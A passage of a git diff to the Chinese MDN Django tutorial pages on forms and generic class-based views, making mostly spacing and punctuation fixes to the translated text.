方法,因为这可以更加抵抗跨站点伪造请求攻击。- +
GET
方法,只应用于不更改用户数据的表单(例如搜索表单)。当您希望能够为URL添加书签、或共享时,建议使用此选项。GET
方法,只应用于不更改用户数据的表单(例如搜索表单)。当您希望能够为 URL 添加书签、或共享时,建议使用此选项。服务器的角色,首先是呈现初始表单状态 - 包含空白字段或预先填充初始值。在用户按下提交按钮之后,服务器将从Web浏览器,接收具有值的表单数据,并且必须验证该信息。如果表单包含无效数据,则服务器应再次显示表单,这次使用用户输入的数据在“有效”字段中,并使用消息来描述无效字段的问题。一旦服务器获得具有所有有效表单数据的请求,它就可以执行适当的操作(例如,保存数据,返回搜索结果,上载文件等),然后通知用户。
+服务器的角色,首先是呈现初始表单状态 - 包含空白字段或预先填充初始值。在用户按下提交按钮之后,服务器将从 Web 浏览器,接收具有值的表单数据,并且必须验证该信息。如果表单包含无效数据,则服务器应再次显示表单,这次使用用户输入的数据在“有效”字段中,并使用消息来描述无效字段的问题。一旦服务器获得具有所有有效表单数据的请求,它就可以执行适当的操作(例如,保存数据,返回搜索结果,上载文件等),然后通知用户。
-可以想象,创建HTML,验证返回的数据,根据需要重新显示输入的数据,和错误报告,以及对有效数据执行所需的操作,都需要花费很多精力才能“正确”。通过删除一些繁重的重复代码,Django 使这变得更容易!
+可以想象,创建 HTML,验证返回的数据,根据需要重新显示输入的数据,和错误报告,以及对有效数据执行所需的操作,都需要花费很多精力才能“正确”。通过删除一些繁重的重复代码,Django 使这变得更容易!
Django 表单处理流程
-Django 的表单处理,使用了我们在之前的教程中,学到的所有相同技术(用于显示有关模型的信息):视图获取请求,执行所需的任何操作,包括从模型中读取数据,然后生成并返回HTML页面(从模板中,我们传递一个包含要显示的数据的上下文。使事情变得更复杂的是,服务器还需要能够处理用户提供的数据,并在出现任何错误时,重新显示页面。
+Django 的表单处理,使用了我们在之前的教程中,学到的所有相同技术(用于显示有关模型的信息):视图获取请求,执行所需的任何操作,包括从模型中读取数据,然后生成并返回 HTML 页面(从模板中,我们传递一个包含要显示的数据的上下文。使事情变得更复杂的是,服务器还需要能够处理用户提供的数据,并在出现任何错误时,重新显示页面。
下面显示了 Django 如何处理表单请求的流程图,从对包含表单的页面的请求开始(以绿色显示)。
@@ -104,7 +104,7 @@Django 表单处理流程
Django 提供了许多工具和方法,来帮助您完成上述任务。最基本的是
Form
类,它简化了表单 HTML 和数据清理/验证的生成。在下一节中,我们将描述表单如何使用页面的实际示例,来允许图书馆员更新书本籍。-注意: 在我们讨论 Django 更“高级”的表单框架类时,了解
+Form
的使用方式,将对您有所帮助。注意: 在我们讨论 Django 更“高级”的表单框架类时,了解
Form
的使用方式,将对您有所帮助。续借表单 - 使用表单和功能视图
@@ -131,7 +131,7 @@声明表单
表单字段
-在这种情况下,我们有一个
+DateField
用于输入续借日期,该日期将使用空白值在 HTML 中呈现,默认标签为“续借日期:”,以及一些有用的用法文本:“输入从现在到 4 周之间的日期(默认为 3)周)。” 由于没有指定其他可选参数,该字段将使用 input_formats 接受日期:YYYY-MM-DD(2016-11-06)、MM/DD/YYYY(02/26/2016)、MM/DD/YY( 10/25/16),并且将使用默认小部件呈现:DateInput。在这种情况下,我们有一个
DateField
用于输入续借日期,该日期将使用空白值在 HTML 中呈现,默认标签为“续借日期:”,以及一些有用的用法文本:“输入从现在到 4 周之间的日期(默认为 3)周)。” 由于没有指定其他可选参数,该字段将使用 input_formats 接受日期:YYYY-MM-DD(2016-11-06)、MM/DD/YYYY(02/26/2016)、MM/DD/YY(10/25/16),并且将使用默认小部件呈现:DateInput。还有许多其他类型的表单字段,您可以从它们与等效模型字段类的相似性中大致认识到:
@@ -179,12 +179,12 @@验证
# Remember to always return the cleaned data. return data -有两件重要的事情需要注意。首先,我们使用
+self.cleaned_data['renewal_date']
获取数据,并且无论是否在函数末尾更改数据,我们都会返回此数据。此步骤使用默认验证器,将数据“清理”、并清除可能不安全的输入,并转换为数据的正确标准类型(在本例中为Pythondatetime.datetime
对象)。有两件重要的事情需要注意。首先,我们使用
self.cleaned_data['renewal_date']
获取数据,并且无论是否在函数末尾更改数据,我们都会返回此数据。此步骤使用默认验证器,将数据“清理”、并清除可能不安全的输入,并转换为数据的正确标准类型(在本例中为 Pythondatetime.datetime
对象)。第二点是,如果某个值超出了我们的范围,我们会引发
ValidationError
,指定在输入无效值时,我们要在表单中显示的错误文本。上面的例子,也将这个文本包含在 Django 的翻译函数ugettext_lazy()
中(导入为_()
),如果你想在稍后翻译你的网站,这是一个很好的做法。-注意: 在表单和字段验证(Django docs)中验证表单还有其他很多方法和示例。例如,如果您有多个相互依赖的字段,则可以覆盖Form.clean() 函数并再次引发
+ValidationError
。注意: 在表单和字段验证(Django docs)中验证表单还有其他很多方法和示例。例如,如果您有多个相互依赖的字段,则可以覆盖Form.clean() 函数并再次引发
ValidationError
。这就是我们在这个例子中,对表单所需要了解的全部内容!
@@ -201,17 +201,17 @@URL 配置
path('book/<uuid:pk>/renew/', views.renew_book_librarian, name='renew-book-librarian'), ] -URL 配置会将格式为 /catalog/book/<bookinstance id>/renew/的URL,重定向到 views.py 中,名为
+renew_book_librarian()
的函数,并将BookInstance
id作为名为pk
的参数发送。只有pk
是正确格式化的uuid
,该模式才会匹配。URL 配置会将格式为 /catalog/book/<bookinstance id>/renew/的 URL,重定向到 views.py 中,名为
renew_book_librarian()
的函数,并将BookInstance
id 作为名为pk
的参数发送。只有pk
是正确格式化的uuid
,该模式才会匹配。-注意: 我们可以将捕获的 URL 数据,命名为“
+pk
”,因为我们可以完全控制视图函数(我们不使用需要具有特定名称的参数的通用详细视图类)。然而,pk
,“主键” primary key 的缩写,是一个合理的惯例!注意: 我们可以将捕获的 URL 数据,命名为“
pk
”,因为我们可以完全控制视图函数(我们不使用需要具有特定名称的参数的通用详细视图类)。然而,pk
,“主键”primary key 的缩写,是一个合理的惯例!视图
正如上面的 Django 表单处理过程中,所讨论的那样,视图必须在首次调用时呈现默认表单,然后在数据无效时,重新呈现它,并显示错误消息,或者数据有效时,处理数据,并重定向到新页面。为了执行这些不同的操作,视图必须能够知道,它是第一次被调用以呈现默认表单,还是后续处理以验证数据。
-对于使用
+POST
请求向服务器提交信息的表单,最常见的模式,是视图针对POST
请求类型进行测试(if request.method == 'POST':
)以识别表单验证请求和GET
(使用一个else
条件)来识别初始表单创建请求。如果要使用GET
请求提交数据,则识别这是第一个、还是后续视图调用的典型方法,是读取表单数据(例如,读取表单中的隐藏值)。对于使用
POST
请求向服务器提交信息的表单,最常见的模式,是视图针对POST
请求类型进行测试(if request.method == 'POST':
) 以识别表单验证请求和GET
(使用一个else
条件)来识别初始表单创建请求。如果要使用GET
请求提交数据,则识别这是第一个、还是后续视图调用的典型方法,是读取表单数据(例如,读取表单中的隐藏值)。书本续借过程将写入我们的数据库,因此按照惯例,我们使用
@@ -251,7 +251,7 @@POST
请求方法。下面的代码片段,显示了这种函数视图的(非常标准)模式。视图
@@ -267,7 +267,7 @@
- -
get_object_or_404()
: 根据模型的主键值,从模型返回指定的对象,如果记录不存在,则引发Http404
异常(未找到)。- +
HttpResponseRedirect
: 这将创建指向指定URL的重定向(HTTP状态代码 302)。HttpResponseRedirect
: 这将创建指向指定 URL 的重定向(HTTP 状态代码 302)。reverse()
: 这将从 URL 配置名称和一组参数生成 URL。它是我们在模板中使用的url
标记的 Python 等价物。datetime
: 用于操作日期和时间的 Python 库。视图
return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) -创建表单后,我们调用
+render()
来创建HTML页面,指定模板和包含表单的上下文。在这种情况下,上下文还包含我们的BookInstance
,我们将在模板中使用它,来提供有关我们正在续借的书本信息。创建表单后,我们调用
render()
来创建 HTML 页面,指定模板和包含表单的上下文。在这种情况下,上下文还包含我们的BookInstance
,我们将在模板中使用它,来提供有关我们正在续借的书本信息。但是,如果这是一个
@@ -298,7 +298,7 @@POST
请求,那么我们创建表单对象,并使用请求中的数据填充它。此过程称为“绑定”,并且允许我们验证表单。然后我们检查表单是否有效,它运行所有字段上的所有验证代码 - 包括用于检查我们的日期字段,实际上是有效日期的通用代码,以及用于检查日期的特定表单的clean_renewal_date()
函数在合适的范围内。视图
重要: 虽然您也可以通过请求直接访问表单数据(例如
-request.POST['renewal_date']
或request.GET['renewal_date']
(如果使用 GET 请求),但不建议这样做。清理后的数据是无害的、验证过的、并转换为 Python 友好类型。视图的表单处理部分的最后一步,是重定向到另一个页面,通常是“成功”页面。在这种情况下,我们使用
+HttpResponseRedirect
和reverse()
,重定向到名为'all-borrowed
'的视图(这是在 Django 教程第 8 部分中创建的 “挑战”:用户身份验证和权限)。如果您没有创建该页面,请考虑重定向到URL'/'处的主页。视图的表单处理部分的最后一步,是重定向到另一个页面,通常是“成功”页面。在这种情况下,我们使用
HttpResponseRedirect
和reverse()
,重定向到名为'all-borrowed
'的视图(这是在 Django 教程第 8 部分中创建的“挑战”:用户身份验证和权限)。如果您没有创建该页面,请考虑重定向到 URL'/'处的主页。这就是表单处理本身所需的一切,但我们仍然需要将视图,限制为图书馆员可以访问。我们应该在
@@ -366,10 +366,10 @@BookInstance
(“can_renew
”)中创建一个新的权限,但为了简单起见,我们只需使用@permission_required
函数装饰器,和我们现有的can_mark_returned
权限。模板
这里大部分内容,和以前的教程都是完全类似的。我们扩展基本模板,然后重新定义内容块。我们能够引用
-\{{bookinst}}
(及其变量),因为它被传递到render()
函数中的上下文对象中,我们使用这些来列出书名,借阅者和原始截止日期。表单代码相对简单。首先,我们声明表单标签,指定表单的提交位置(
+action
)和提交数据的方法(在本例中为 “HTTP POST”) - 如果您回想一下页面顶部的 HTML 表单概述,如图所示的空action
,意味着表单数据将被发布回页面的当前 URL(这是我们想要的!)。在标签内部,我们定义了submit
提交输入,用户可以按这个输入来提交数据。在表单标签内添加的{% csrf_token %}
,是 Django 跨站点伪造保护的一部分。表单代码相对简单。首先,我们声明表单标签,指定表单的提交位置(
action
)和提交数据的方法(在本例中为“HTTP POST”) - 如果您回想一下页面顶部的 HTML 表单概述,如图所示的空action
,意味着表单数据将被发布回页面的当前 URL(这是我们想要的!)。在标签内部,我们定义了submit
提交输入,用户可以按这个输入来提交数据。在表单标签内添加的{% csrf_token %}
,是 Django 跨站点伪造保护的一部分。-注意: 将
+{% csrf_token %}
添加到您创建的每个使用POST
提交数据的 Django 模板中。这将减少恶意用户劫持表单的可能性。注意: 将
{% csrf_token %}
添加到您创建的每个使用POST
提交数据的 Django 模板中。这将减少恶意用户劫持表单的可能性。剩下的就是
@@ -385,7 +385,7 @@\{{form}}
模板变量,我们将其传递给上下文字典中的模板。也许不出所料,当如图所示使用时,它提供了所有表单字段的默认呈现,包括它们的标签、小部件、和帮助文本 - 呈现如下所示:模板
-注意: 它可能并不明显,因为我们只有一个字段,但默认情况下,每个字段都在其自己的表格行中定义(这就是变量在上面的
+table
表格标记内部的原因)。如果您引用模板变量\{{ form.as_table }}
,会提供相同的渲染。注意: 它可能并不明显,因为我们只有一个字段,但默认情况下,每个字段都在其自己的表格行中定义(这就是变量在上面的
table
表格标记内部的原因)。如果您引用模板变量\{{ form.as_table }}
,会提供相同的渲染。如果您输入无效日期,您还会获得页面中呈现的错误列表(下面以粗体显示)。
@@ -411,16 +411,16 @@使用表单模板变量的其
-
\{{form.renewal_date}}:
整个领域。- -
\{{form.renewal_date.errors}}
: 错误列表。- +
\{{form.renewal_date.id_for_label}}
: 标签的 id 。\{{form.renewal_date.id_for_label}}
: 标签的 id。- -
\{{form.renewal_date.help_text}}
: 字段帮助文本。- 其他等等!
+- 其他等等!
有关如何在模板中,手动呈现表单,并动态循环模板字段的更多示例,请参阅使用表单>手动呈现字段(Django文档)。
+有关如何在模板中,手动呈现表单,并动态循环模板字段的更多示例,请参阅使用表单>手动呈现字段(Django 文档)。
测试页面
-如果您接受了Django 教程第 8 部分中的 “挑战”:用户身份验证和权限,您将获得图书馆中借出的所有书本的列表,这只有图书馆工作人员才能看到。我们可以使用下面的模板代码,为每个项目旁边的续借页面,添加链接。
+如果您接受了Django 教程第 8 部分中的“挑战”:用户身份验证和权限,您将获得图书馆中借出的所有书本的列表,这只有图书馆工作人员才能看到。我们可以使用下面的模板代码,为每个项目旁边的续借页面,添加链接。
{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}@@ -428,7 +428,7 @@测试页面
注意: 请记住,您的测试登录需要具有“
-catalog.can_mark_returned
”权限,才能访问续借书本页面(可能使用您的超级用户帐户)。您也可以手动构建这样的测试URL - http://127.0.0.1:8000/catalog/book/<bookinstance_id>/renew/ (可以通过导航到图书馆中的书本详细信息页面,获取有效的 bookinstance id,并复制
+id
字段)。您也可以手动构建这样的测试 URL - http://127.0.0.1:8000/catalog/book/<bookinstance_id>/renew/ (可以通过导航到图书馆中的书本详细信息页面,获取有效的 bookinstance id,并复制
id
字段)。它看起来是什么样子?
@@ -465,7 +465,7 @@模型表单
注意: 这可能看起来不像使用
-Form
那么简单(在这种情况下不是这样,因为我们只有一个字段)。但是,如果你有很多字段,它可以显着减少代码量!其余信息来自模型字段的定义(例如标签、小部件、帮助文本、错误消息)。如果这些不太正确,那么我们可以在
+Meta
类中覆盖它们,指定包含要更改的字段、及其新值的字典。例如,在这种形式中,我们可能需要 “更新日期” Renewal date 字段的标签(而不是基于字段名称的默认值:截止日期 Due date),并且我们还希望我们的帮助文本,特定于此用例。下面的Meta
显示了如何覆盖这些字段,如果默认值不够,您可以类似地方式设置widgets
窗口小部件和error_messages
。其余信息来自模型字段的定义(例如标签、小部件、帮助文本、错误消息)。如果这些不太正确,那么我们可以在
Meta
类中覆盖它们,指定包含要更改的字段、及其新值的字典。例如,在这种形式中,我们可能需要“更新日期” Renewal date 字段的标签(而不是基于字段名称的默认值:截止日期 Due date),并且我们还希望我们的帮助文本,特定于此用例。下面的Meta
显示了如何覆盖这些字段,如果默认值不够,您可以类似地方式设置widgets
窗口小部件和error_messages
。class Meta: model = BookInstance @@ -505,10 +505,10 @@-模型表单
通用编辑视图
-我们在上面的函数视图示例中,使用的表单处理算法,表示表单编辑视图中非常常见的模式。 Django 通过创建基于模型创建、编辑和删除视图的通用编辑视图,为您抽象出大部分“样板”。这些不仅处理“视图”行为,而且它们会自动从模型中为您创建表单类(
+ModelForm
)。我们在上面的函数视图示例中,使用的表单处理算法,表示表单编辑视图中非常常见的模式。Django 通过创建基于模型创建、编辑和删除视图的通用编辑视图,为您抽象出大部分“样板”。这些不仅处理“视图”行为,而且它们会自动从模型中为您创建表单类(
ModelForm
)。-注意: 除了这里描述的编辑视图之外,还有一个 FormView 类,它位于我们的函数视图,和其他通用视图之间的 “灵活性” 与 “编码工作” 之间。使用
+FormView
,您仍然需要创建表单,但不必实现所有标准表单处理模式。相反,您只需提供一个函数的实现,一旦知道提交有效,就会调用该函数。注意: 除了这里描述的编辑视图之外,还有一个 FormView 类,它位于我们的函数视图,和其他通用视图之间的“灵活性”与“编码工作”之间。使用
FormView
,您仍然需要创建表单,但不必实现所有标准表单处理模式。相反,您只需提供一个函数的实现,一旦知道提交有效,就会调用该函数。在本节中,我们将使用通用编辑视图,来创建页面,以添加从我们的库中创建、编辑和删除
@@ -536,13 +536,13 @@Author
作者记录的功能 - 有效地提供管理站点一部分的基本重新实现(这可能很有用,如果您需要比管理站点能提供的、更加灵活的管理功能)。视图
如您所见,要创建视图,您需要从
-CreateView
,UpdateView
, 和DeleteView
(分别)派生,然后定义关联的模型。对于 “创建” 和 “更新” 的情况,您还需要指定要在表单中显示的字段(使用与
+ModelForm
相同的语法)。在这种情况下,我们将说明两者的语法,如何显示 “所有” 字段,以及如何单独列出它们。您还可以使用 field_name / value对的字典,为每个字段指定初始值(此处我们为了演示目的,而任意设置死亡日期 - 您可能希望删除它!)。默认情况下,这些视图会在成功时,重定向到显示新创建/编辑的模型项的页面,在我们的示例中,这将是我们在上一个教程中,创建的作者详细信息视图。您可以通过显式声明参数success_url
,指定备用重定向位置(与AuthorDelete
类一样)。对于“创建”和“更新”的情况,您还需要指定要在表单中显示的字段(使用与
ModelForm
相同的语法)。在这种情况下,我们将说明两者的语法,如何显示“所有”字段,以及如何单独列出它们。您还可以使用 field_name / value 对的字典,为每个字段指定初始值(此处我们为了演示目的,而任意设置死亡日期 - 您可能希望删除它!)。默认情况下,这些视图会在成功时,重定向到显示新创建/编辑的模型项的页面,在我们的示例中,这将是我们在上一个教程中,创建的作者详细信息视图。您可以通过显式声明参数success_url
,指定备用重定向位置(与AuthorDelete
类一样)。
AuthorDelete
类不需要显示任何字段,因此不需要指定这些字段。但是你需要指定success_url
,因为 Django 没有明显的默认值。在这种情况下,我们使用reverse_lazy()
函数,在删除作者后,重定向到我们的作者列表 -reverse_lazy()
是一个延迟执行的reverse()
版本,在这里使用,是因为我们提供了一个基于类的 URL 查看属性。模板
-“创建” 和 “更新” 视图默认使用相同的模板,它将以您的模型命名:model_name_form.html(您可以使用视图中的
+template_name_suffix
字段,将后缀更改为_form 以外的其他内容,例如,template_name_suffix = '_other_suffix'
)“创建”和“更新”视图默认使用相同的模板,它将以您的模型命名:model_name_form.html(您可以使用视图中的
template_name_suffix
字段,将后缀更改为_form 以外的其他内容,例如,template_name_suffix = '_other_suffix'
)创建模板文件 locallibrary/catalog/templates/catalog/author_form.html,并复制到下面的文本中。
@@ -580,7 +580,7 @@模板
{% endblock %}URL配置
+URL 配置
打开 URL 配置文件(locallibrary/catalog/urls.py),并将以下配置,添加到文件的底部:
@@ -608,9 +608,9 @@测试页面
输入字段的值,然后按“提交” Submit ,保存作者记录。现在,您应该进入新作者的详细视图,其 URL 为 http://127.0.0.1:8000/catalog/author/10。
-您可以通过将 /update/ ,附加到详细视图 URL 的末尾,来测试编辑记录(例如http://127.0.0.1:8000/catalog/author/10/update/) - 我们不显示截图,因为它看起来就像“创建”页面!
+您可以通过将 /update/ ,附加到详细视图 URL 的末尾,来测试编辑记录(例如 http://127.0.0.1:8000/catalog/author/10/update/) - 我们不显示截图,因为它看起来就像“创建”页面!
-最后,我们可以删除页面,方法是将删除,附加到作者详细信息视图URL的末尾(例如http://127.0.0.1:8000/catalog/author/10/delete/)。 Django应该显示如下所示的删除页面。按 "是,删除" (Yes, delete)。删除记录,并将其带到所有作者的列表中。
+最后,我们可以删除页面,方法是将删除,附加到作者详细信息视图 URL 的末尾(例如 http://127.0.0.1:8000/catalog/author/10/delete/)。Django 应该显示如下所示的删除页面。按 "是,删除" (Yes, delete)。删除记录,并将其带到所有作者的列表中。
@@ -627,7 +627,7 @@挑战自己
总结
-创建和处理表单可能是一个复杂的过程! Django通过提供声明、呈现和验证表单的编程机制,使其变得更加容易。此外,Django提供了通用的表单编辑视图,几乎可以完成所有工作,以定义可以创建,编辑和删除与单个模型实例关联的记录的页面。
+创建和处理表单可能是一个复杂的过程!Django 通过提供声明、呈现和验证表单的编程机制,使其变得更加容易。此外,Django 提供了通用的表单编辑视图,几乎可以完成所有工作,以定义可以创建,编辑和删除与单个模型实例关联的记录的页面。
表单可以完成更多工作(请参阅下面的“请参阅”列表),但您现在应该了解,如何将基本表单和表单处理代码,添加到您自己的网站。
diff --git a/files/zh-cn/learn/server-side/django/generic_views/index.html b/files/zh-cn/learn/server-side/django/generic_views/index.html index 35d179f6f48cd5..dde899b3f2b66d 100644 --- a/files/zh-cn/learn/server-side/django/generic_views/index.html +++ b/files/zh-cn/learn/server-side/django/generic_views/index.html @@ -7,17 +7,17 @@{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}-本教程扩充了 LocalLibrary 网站,为书本与作者增加列表与细节页面。此处我们将学到通用类别视图,并演示如何降低你必须为一般使用案例撰写的程式码数量。我们也会更加深入URL处理细节,演示如何实施基本模式匹配。
+本教程扩充了 LocalLibrary 网站,为书本与作者增加列表与细节页面。此处我们将学到通用类别视图,并演示如何降低你必须为一般使用案例撰写的程式码数量。我们也会更加深入 URL 处理细节,演示如何实施基本模式匹配。
@@ -26,17 +26,17 @@
- 先决条件: +先决条件: 完成所有先前的教程主题,包含Django 教程 5: 创建主页。 - 目标: -了解如何使用、在何处使用通用类别视图,以及如何从URLs取出模式,如何传送资料到视图。 +目标: +了解如何使用、在何处使用通用类别视图,以及如何从 URLs 取出模式,如何传送资料到视图。 概览
本教程中,通过为书本和作者添加列表和详细信息页面,我们将完成第一个版本的LocalLibrary 网站(或者更准确地说,我们将向您展示如何实现书页,并让您自己创建作者页面!)
-该过程类似于创建索引页面,我们在上一个教程中展示了该页面。我们仍然需要创建URL地图,视图和模板。主要区别在于,对于详细信息页面,我们还有一个额外的挑战,即从URL中的模式中提取信息,并将其传递给视图。对于这些页面,我们将演示一种完全不同的视图类型:基于类别的通用列表和详细视图。这些可以显着减少所需的视图代码量,使其更易于编写和维护。
+该过程类似于创建索引页面,我们在上一个教程中展示了该页面。我们仍然需要创建 URL 地图,视图和模板。主要区别在于,对于详细信息页面,我们还有一个额外的挑战,即从 URL 中的模式中提取信息,并将其传递给视图。对于这些页面,我们将演示一种完全不同的视图类型:基于类别的通用列表和详细视图。这些可以显着减少所需的视图代码量,使其更易于编写和维护。
本教程的最后一部分,将演示在使用基于类别的通用列表视图时,如何对数据进行分页。
书本清单页面
-书本清单页面,将显示页面中所有可用图书记录的列表,使用url:
+catalog/books/
进行访问。该页面将显示每条记录的标题和作者,标题是指向相关图书详细信息页面的超链接。该页面将具有与站点中,所有其他页面相同的结构和导航,因此,我们可以扩展在上一个教程中创建的基本模板(base_generic.html)。书本清单页面,将显示页面中所有可用图书记录的列表,使用 url:
catalog/books/
进行访问。该页面将显示每条记录的标题和作者,标题是指向相关图书详细信息页面的超链接。该页面将具有与站点中,所有其他页面相同的结构和导航,因此,我们可以扩展在上一个教程中创建的基本模板(base_generic.html)。URL 映射
-打开/catalog/urls.py ,并复制到下面粗体显示的行中。就像索引页面的方式,这个
+path()
函数,定义了一个与 URL 匹配的模式('books/'),如果URL匹配,将调用视图函数(views.BookListView.as_view()
)和一个对应这个特定映射的名称。打开/catalog/urls.py ,并复制到下面粗体显示的行中。就像索引页面的方式,这个
path()
函数,定义了一个与 URL 匹配的模式('books/'),如果 URL 匹配,将调用视图函数(views.BookListView.as_view()
)和一个对应这个特定映射的名称。urlpatterns = [ path('', views.index, name='index'), @@ -45,7 +45,7 @@URL 映射
正如前一个教程中所讨论的,URL 必须已经先匹配了
-/catalog
,因此实际上将为 URL 调用的视图是:/catalog/books/
。视图函数具有与以前不同的格式 - 这是因为该视图,实际上将以类别来实现。我们将继承现有的泛型视图函数,该函数已经完成了我们希望此视图函数执行的大部分工作,而不是从头开始编写自己的函数。对于基于Django类的视图,我们通过调用类方法
+as_view()
,来访问适当的视图函数。这样做可以创建类的实例,并确保为传入的 HTTP 请求调用正确的处理程序方法。视图函数具有与以前不同的格式 - 这是因为该视图,实际上将以类别来实现。我们将继承现有的泛型视图函数,该函数已经完成了我们希望此视图函数执行的大部分工作,而不是从头开始编写自己的函数。对于基于 Django 类的视图,我们通过调用类方法
as_view()
,来访问适当的视图函数。这样做可以创建类的实例,并确保为传入的 HTTP 请求调用正确的处理程序方法。视图 (基于类别)
@@ -64,7 +64,7 @@视图 (基于类别)
注意: 模板位置的这个尴尬路径不是印刷错误 - 通用视图在应用程序的
-/application_name/templates/
目录中(/catalog/templates/
),查找模板/application_name/the_model_name_list.html
(在本例中为catalog/book_list.html
)。您可以添加属性,以更改上面的默认行为。例如,如果需要使用同一模型的多个视图,则可以指定另一个模板文件,或者如果
+book_list
对于特定模板用例不直观,则可能需要使用不同的模板变量名称。可能最有用的变更,是更改/过滤返回的结果子集 - 因此,您可能会列出其他用户阅读的前5本书,而不是列出所有书本。您可以添加属性,以更改上面的默认行为。例如,如果需要使用同一模型的多个视图,则可以指定另一个模板文件,或者如果
book_list
对于特定模板用例不直观,则可能需要使用不同的模板变量名称。可能最有用的变更,是更改/过滤返回的结果子集 - 因此,您可能会列出其他用户阅读的前 5 本书,而不是列出所有书本。class BookListView(generic.ListView): model = Book @@ -106,7 +106,7 @@覆盖基于类别的视图中
-注意: 查看内置的基于类的通用视图(Django文档),了解更多可以执行的操作示例。
+注意: 查看内置的基于类的通用视图(Django 文档),了解更多可以执行的操作示例。
创建列表视图模板
@@ -170,15 +170,15 @@访问变量
我们使用“点符号”(例如
-book.title
和book.author
)访问相关书本记录的字段,其中书本项目book
后面的文本是字段名称(如同在模型中定义的)。我们还可以在模板中,调用模型中的函数 - 在这里,我们调用
+Book.get_absolute_url()
,来获取可用于显示关联详细记录的URL。这项工作提供的函数没有任何参数(没有办法传递参数!)我们还可以在模板中,调用模型中的函数 - 在这里,我们调用
Book.get_absolute_url()
,来获取可用于显示关联详细记录的 URL。这项工作提供的函数没有任何参数(没有办法传递参数!)-注意: 在模板中调用函数时,我们必须要小心“副作用”。在这里我们只需要显示一个URL,但是一个函数几乎可以做任何事情 - 我们不想仅仅通过渲染模板,而删除了我们的数据库(例如)!
+注意: 在模板中调用函数时,我们必须要小心“副作用”。在这里我们只需要显示一个 URL,但是一个函数几乎可以做任何事情 - 我们不想仅仅通过渲染模板,而删除了我们的数据库(例如)!
更新基本模板
-打开基本模板(/locallibrary/catalog/templates/base_generic.html)并将 {% url 'books' %} 插入所有书本 All books 的 URL 链接,如下所示。这将启用所有页面中的链接(由于我们已经创建了 “books” 的 url 映射器,我们可以成功地将其设置到位)。
+打开基本模板(/locallibrary/catalog/templates/base_generic.html)并将 {% url 'books' %} 插入所有书本 All books 的 URL 链接,如下所示。这将启用所有页面中的链接(由于我们已经创建了“books”的 url 映射器,我们可以成功地将其设置到位)。
<li><a href="{% url 'index' %}">Home</a></li> <li><a href="{% url 'books' %}">All books</a></li> @@ -186,7 +186,7 @@-更新基本模板
它看起来是什么样子?
-您将无法构建书本清单,因为我们仍然缺少依赖项 - 书本详细信息页面的URL地图,这是创建单个书本的超链接所必需的。我们将在下一节之后,说明列表和详细视图的部分。
+您将无法构建书本清单,因为我们仍然缺少依赖项 - 书本详细信息页面的 URL 地图,这是创建单个书本的超链接所必需的。我们将在下一节之后,说明列表和详细视图的部分。
书本详细信息页面
@@ -202,12 +202,12 @@URL 映射
path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'), ]对于书本详细信息路径,URL 模式使用特殊语法,来捕获我们想要查看的书本的特定 id。语法非常简单:尖括号定义要捕获的URL部分,包含视图可用于访问捕获数据的变量的名称。例如,<something> 将捕获标记的模式,并将值作为变量 “something” ,传递给视图。您可以选择在变量名称前,加上一个定义数据类型的转换器规范(int,str,slug,uuid,path)。
+对于书本详细信息路径,URL 模式使用特殊语法,来捕获我们想要查看的书本的特定 id。语法非常简单:尖括号定义要捕获的 URL 部分,包含视图可用于访问捕获数据的变量的名称。例如,<something> 将捕获标记的模式,并将值作为变量“something” ,传递给视图。您可以选择在变量名称前,加上一个定义数据类型的转换器规范(int,str,slug,uuid,path)。
在这里,我们使用
'<int:pk>'
来捕获 book id,它必须是一个整数,并将其作为名为pk
的参数(主键的缩写)传递给视图。-注意: 如前所述,我们匹配的URL实际上是
+catalog/book/<digits>
(因为我们在应用程序 catalog 中,假定使用/catalog/
)。注意: 如前所述,我们匹配的 URL 实际上是
catalog/book/<digits>
(因为我们在应用程序 catalog 中,假定使用/catalog/
)。@@ -263,7 +263,7 @@高级路径匹配/正则表达
+ -匹配前面一个或多个字符。例如,要匹配一个或多个位数的数字,您将使用 +\d+
。要匹配一个或多个“ a” 字符,您可以使用a+
匹配前面一个或多个字符。例如,要匹配一个或多个位数的数字,您将使用 \d+
。要匹配一个或多个“a”字符,您可以使用a+
* @@ -308,14 +308,14 @@高级路径匹配/正则表达
r'^book/(\d+)$' -这与前面的例子匹配相同的URL。捕获的信息,将作为未命名的参数,发送到视图。 +这与前面的例子匹配相同的 URL。捕获的信息,将作为未命名的参数,发送到视图。 @@ -338,7 +338,7 @@ r'^book/(?P<stub>[-\w]+)$' - 这匹配一个字符串,该字符串在行(^book/)的开头具有
+book/
,然后有一个或多个字符,可以是 ' - ' 或单词字符(([-\w]+),然后结束。它还捕获这组字符,并将它们传递给名为 “stub” 的参数中的视图。这匹配一个字符串,该字符串在行(^book/)的开头具有
-book/
,然后有一个或多个字符,可以是 ' - ' 或单词字符(([-\w]+),然后结束。它还捕获这组字符,并将它们传递给名为“stub”的参数中的视图。这是 “stub” 的一种相当典型的模式。存根stub 是用于数据的、 URL 友好的、基于单词的主键。如果您希望本书网址提供更多信息,则可以使用 stub。例如
+/catalog/book/the-secret-garden
,而不是/catalog/book/33
。这是“stub”的一种相当典型的模式。存根 stub 是用于数据的、URL 友好的、基于单词的主键。如果您希望本书网址提供更多信息,则可以使用 stub。例如
/catalog/book/the-secret-garden
,而不是/catalog/book/33
。在 URL 地图中传递其他选项
-注意: 额外选项和命名捕获的模式,二者都作为命名参数传递给视图。如果对捕获的模式和额外选项使用相同的名称,则仅将捕获的模式值发送到视图(将删除附加选项中指定的值)。
+注意: 额外选项和命名捕获的模式,二者都作为命名参数传递给视图。如果对捕获的模式和额外选项使用相同的名称,则仅将捕获的模式值发送到视图(将删除附加选项中指定的值)。
视图 (基于类别)
@@ -348,13 +348,13 @@视图 (基于类别)
class BookDetailView(generic.DetailView): model = Book-就是这样!您现在需要做的就是创建一个名为 /locallibrary/catalog/templates/catalog/book_detail.html 的模板,该视图将向此模板,传递 URL 映射器提取的特定
+Book
记录的数据库信息。在模板中,您可以使用名为object
或book
的模板变量(即通常为 “the_model_name
”),以访问书本列表。就是这样!您现在需要做的就是创建一个名为 /locallibrary/catalog/templates/catalog/book_detail.html 的模板,该视图将向此模板,传递 URL 映射器提取的特定
Book
